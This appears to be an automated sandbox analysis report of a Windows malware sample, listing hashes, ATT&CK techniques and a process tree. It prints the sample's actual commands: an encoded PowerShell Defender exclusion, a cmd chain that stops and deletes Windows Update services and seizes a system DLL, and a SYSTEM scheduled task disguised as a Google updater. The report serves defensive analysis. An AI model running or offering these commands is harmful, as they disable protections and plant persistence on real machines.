375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

General

Target

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe
Size

1.8MB
MD5

6691c3106d5319f108114a48f5177396
SHA1

1ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA512

19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe

Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

576 takeown.exe
772 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

576 takeown.exe
772 icacls.exe

pid	process
576	takeown.exe
772	icacls.exe

pid	process
576	takeown.exe
772	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

572 sc.exe
1924 sc.exe
1516 sc.exe
1324 sc.exe
1588 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1952 schtasks.exe
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1652 reg.exe
832 reg.exe
108 reg.exe
860 reg.exe
976 reg.exe
1636 reg.exe
1764 reg.exe
1544 reg.exe
1012 reg.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe

pid process

1740 powershell.exe
1680 375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe

pid	process
572	sc.exe
1924	sc.exe
1516	sc.exe
1324	sc.exe
1588	sc.exe

pid	process
1952	schtasks.exe

pid	process
1652	reg.exe
832	reg.exe
108	reg.exe
860	reg.exe
976	reg.exe
1636	reg.exe
1764	reg.exe
1544	reg.exe
1012	reg.exe

pid	process
1740	powershell.exe
1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exe375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe
Token: SeTakeOwnershipPrivilege	576	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1680 wrote to memory of 1740	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	powershell.exe
PID 1680 wrote to memory of 1740	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	powershell.exe
PID 1680 wrote to memory of 1740	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	powershell.exe
PID 1680 wrote to memory of 1292	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1292	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1292	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1292 wrote to memory of 572	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 572	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 572	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1924	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1924	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1924	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1516	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1516	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1516	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1324	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1324	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1324	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1588	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1588	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1588	1292	cmd.exe	sc.exe
PID 1292 wrote to memory of 1764	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1764	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1764	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1652	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1652	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1652	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 832	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 832	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 832	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 108	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 108	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 108	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1544	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1544	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1544	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 576	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 576	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 576	1292	cmd.exe	takeown.exe
PID 1292 wrote to memory of 772	1292	cmd.exe	icacls.exe
PID 1292 wrote to memory of 772	1292	cmd.exe	icacls.exe
PID 1292 wrote to memory of 772	1292	cmd.exe	icacls.exe
PID 1680 wrote to memory of 1304	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1304	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1304	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1700	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1700	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1680 wrote to memory of 1700	1680	375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe	cmd.exe
PID 1304 wrote to memory of 1952	1304	cmd.exe	schtasks.exe
PID 1304 wrote to memory of 1952	1304	cmd.exe	schtasks.exe
PID 1304 wrote to memory of 1952	1304	cmd.exe	schtasks.exe
PID 1700 wrote to memory of 1168	1700	cmd.exe	schtasks.exe
PID 1700 wrote to memory of 1168	1700	cmd.exe	schtasks.exe
PID 1700 wrote to memory of 1168	1700	cmd.exe	schtasks.exe
PID 1292 wrote to memory of 860	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 860	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 860	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1012	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1012	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1012	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 976	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 976	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 976	1292	cmd.exe	reg.exe
PID 1292 wrote to memory of 1636	1292	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe
"C:\Users\Admin\AppData\Local\Temp\375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1292

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:572

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1924

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1516

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1324

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1588

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1764

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:1652

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:832

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:108

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:1544

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:576

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:772

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:860

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1012

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:976

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:904

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1620

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:480

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:1312

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:1504

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:1712

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1204

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
2⤵
- Suspicious use of WriteProcessMemory
PID:1304

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
3⤵
- Creates scheduled task(s)
PID:1952

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
2⤵
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1168

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

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Downloads

memory/108-72-0x0000000000000000-mapping.dmp

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memory/480-86-0x0000000000000000-mapping.dmp

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memory/572-64-0x0000000000000000-mapping.dmp

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memory/576-74-0x0000000000000000-mapping.dmp

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memory/772-75-0x0000000000000000-mapping.dmp

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memory/832-71-0x0000000000000000-mapping.dmp

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memory/860-80-0x0000000000000000-mapping.dmp

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memory/904-84-0x0000000000000000-mapping.dmp

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memory/976-82-0x0000000000000000-mapping.dmp

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memory/1012-81-0x0000000000000000-mapping.dmp

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memory/1168-79-0x0000000000000000-mapping.dmp

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memory/1204-90-0x0000000000000000-mapping.dmp

Download
memory/1292-63-0x0000000000000000-mapping.dmp

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memory/1304-76-0x0000000000000000-mapping.dmp

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memory/1312-87-0x0000000000000000-mapping.dmp

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memory/1324-67-0x0000000000000000-mapping.dmp

Download
memory/1504-88-0x0000000000000000-mapping.dmp

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memory/1516-66-0x0000000000000000-mapping.dmp

Download
memory/1544-73-0x0000000000000000-mapping.dmp

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memory/1588-68-0x0000000000000000-mapping.dmp

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memory/1620-85-0x0000000000000000-mapping.dmp

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memory/1636-83-0x0000000000000000-mapping.dmp

Download
memory/1652-70-0x0000000000000000-mapping.dmp

Download
memory/1680-54-0x000000013F110000-0x000000013F2EE000-memory.dmp

Filesize
1.9MB

Download
memory/1680-55-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

Filesize
8KB

Download
memory/1700-77-0x0000000000000000-mapping.dmp

Download
memory/1712-89-0x0000000000000000-mapping.dmp

Download
memory/1740-56-0x0000000000000000-mapping.dmp

Download
memory/1740-59-0x000007FEEC840000-0x000007FEED39D000-memory.dmp

Filesize
11.4MB

Download
memory/1740-61-0x00000000027A4000-0x00000000027A7000-memory.dmp

Filesize
12KB

Download
memory/1740-60-0x00000000027A4000-0x00000000027A7000-memory.dmp

Filesize
12KB

Download
memory/1740-62-0x00000000027AB000-0x00000000027CA000-memory.dmp

Filesize
124KB

Download
memory/1740-58-0x000007FEED3A0000-0x000007FEEDDC3000-memory.dmp

Filesize
10.1MB

Download
memory/1764-69-0x0000000000000000-mapping.dmp

Download
memory/1924-65-0x0000000000000000-mapping.dmp

Download
memory/1952-78-0x0000000000000000-mapping.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads